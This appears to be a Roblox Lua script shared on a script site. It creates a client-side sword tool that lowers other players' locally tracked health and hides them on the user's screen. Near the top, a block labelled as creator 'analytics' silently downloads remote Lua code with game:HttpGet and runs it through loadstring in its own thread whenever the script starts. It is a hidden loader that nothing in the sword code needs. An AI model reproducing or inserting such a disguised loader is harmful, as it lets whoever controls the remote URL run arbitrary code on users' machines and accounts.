-- [[ Rscripts Risk Notice ]] -- This script is not verified by rscripts.net. Deal with caution. -- -- Stay safe: -- • Never log in on unofficial Roblox sites or lookalike domains. -- • Real Roblox links use roblox.com (check the .com ending). -- • Treat fake Roblox login / "claim reward" pages as phishing. -- [[ End Rscripts Risk Notice ]] --[[rscripts:analytics:start]] -- Script analytics (enabled by the creator on rscripts.net). -- Runs in its own thread and cannot affect the script below. task.spawn(function() pcall(function() loadstring(game:HttpGet("https://rscripts.net/api/telemetry/v2/client.lua?s=6acebe72ea7508fe16267621"))() end) end) --[[rscripts:analytics:end]] local Players = game:GetService("Players") local player = Players.LocalPlayer local backpack = player:WaitForChild("Backpack") local mouse = player:GetMouse() print("========== LOCAL SWORD SCRIPT RUNNING ==========") -------------------------------------------------- -- SETTINGS -------------------------------------------------- local DAMAGE = 25 local RANGE = 12 local INVISIBLE_TIME = 30 local ATTACK_COOLDOWN = 0.45 -------------------------------------------------- -- LOCAL HP STORAGE -------------------------------------------------- local localHealth = {} local lastAttack = 0 local function getLocalHealth(targetPlayer) if localHealth[targetPlayer] == nil then local character = targetPlayer.Character local humanoid = character and character:FindFirstChildOfClass("Humanoid") if humanoid then localHealth[targetPlayer] = humanoid.MaxHealth else localHealth[targetPlayer] = 100 end end return localHealth[targetPlayer] end -------------------------------------------------- -- LOCAL INVISIBILITY -------------------------------------------------- local function setLocallyInvisible(character, invisible) for _, object in ipairs(character:GetDescendants()) do if object:IsA("BasePart") then if invisible then object.LocalTransparencyModifier = 1 else object.LocalTransparencyModifier = 0 end elseif object:IsA("Decal") then -- Decal transparency changes are client-only -- when done from this LocalScript. if invisible then if object:GetAttribute("OldLocalTransparency") == nil then object:SetAttribute( "OldLocalTransparency", object.Transparency ) end object.Transparency = 1 else local old = object:GetAttribute("OldLocalTransparency") if old ~= nil then object.Transparency = old object:SetAttribute("OldLocalTransparency", nil) end end elseif object:IsA("ParticleEmitter") or object:IsA("Trail") or object:IsA("Beam") then if invisible then if object:GetAttribute("WasEnabled") == nil then object:SetAttribute("WasEnabled", object.Enabled) end object.Enabled = false else local wasEnabled = object:GetAttribute("WasEnabled") if wasEnabled ~= nil then object.Enabled = wasEnabled object:SetAttribute("WasEnabled", nil) end end end end end -------------------------------------------------- -- LOCAL "KILL" -------------------------------------------------- local function localKill(targetPlayer) local character = targetPlayer.Character if not character then return end print("LOCAL KILL:", targetPlayer.Name) setLocallyInvisible(character, true) task.delay(INVISIBLE_TIME, function() -- Make sure they're still using the same character. if targetPlayer.Character == character then setLocallyInvisible(character, false) local humanoid = character:FindFirstChildOfClass("Humanoid") localHealth[targetPlayer] = humanoid and humanoid.MaxHealth or 100 print(targetPlayer.Name, "returned after 30 seconds") end end) end -------------------------------------------------- -- DAMAGE TARGET -------------------------------------------------- local function attackTarget(targetPlayer) if targetPlayer == player then return end local myCharacter = player.Character local targetCharacter = targetPlayer.Character if not myCharacter or not targetCharacter then return end local myRoot = myCharacter:FindFirstChild("HumanoidRootPart") local targetRoot = targetCharacter:FindFirstChild("HumanoidRootPart") if not myRoot or not targetRoot then return end local distance = (myRoot.Position - targetRoot.Position).Magnitude if distance > RANGE then print("Target too far away:", math.floor(distance)) return end local hp = getLocalHealth(targetPlayer) hp = math.max(0, hp - DAMAGE) localHealth[targetPlayer] = hp print( "HIT:", targetPlayer.Name, "Local HP:", hp ) if hp <= 0 then localKill(targetPlayer) end end -------------------------------------------------- -- CREATE SWORD -------------------------------------------------- local existing = backpack:FindFirstChild("Local Sword") if existing then existing:Destroy() end local tool = Instance.new("Tool") tool.Name = "Local Sword" tool.RequiresHandle = true tool.CanBeDropped = false local handle = Instance.new("Part") handle.Name = "Handle" handle.Size = Vector3.new(0.5, 4, 0.5) handle.Material = Enum.Material.Metal handle.CanCollide = false handle.Massless = true handle.Parent = tool -------------------------------------------------- -- ATTACK -------------------------------------------------- tool.Activated:Connect(function() if os.clock() - lastAttack < ATTACK_COOLDOWN then return end lastAttack = os.clock() local targetPart = mouse.Target if not targetPart then print("Sword swung - nothing targeted") return end local character = targetPart:FindFirstAncestorOfClass("Model") if not character then return end local targetPlayer = Players:GetPlayerFromCharacter(character) if not targetPlayer then print("Target wasn't a player") return end attackTarget(targetPlayer) end) -------------------------------------------------- -- RESET LOCAL HP WHEN SOMEONE RESPAWNS -------------------------------------------------- local function watchPlayer(otherPlayer) otherPlayer.CharacterAdded:Connect(function() localHealth[otherPlayer] = nil end) end for _, otherPlayer in ipairs(Players:GetPlayers()) do if otherPlayer ~= player then watchPlayer(otherPlayer) end end Players.PlayerAdded:Connect(function(otherPlayer) watchPlayer(otherPlayer) end) Players.PlayerRemoving:Connect(function(otherPlayer) localHealth[otherPlayer] = nil end) -------------------------------------------------- -- GIVE TOOL -------------------------------------------------- tool.Parent = backpack print("LOCAL SWORD ADDED TO BACKPACK") print("Damage:", DAMAGE) print("Range:", RANGE) print("========== SETUP COMPLETE ==========")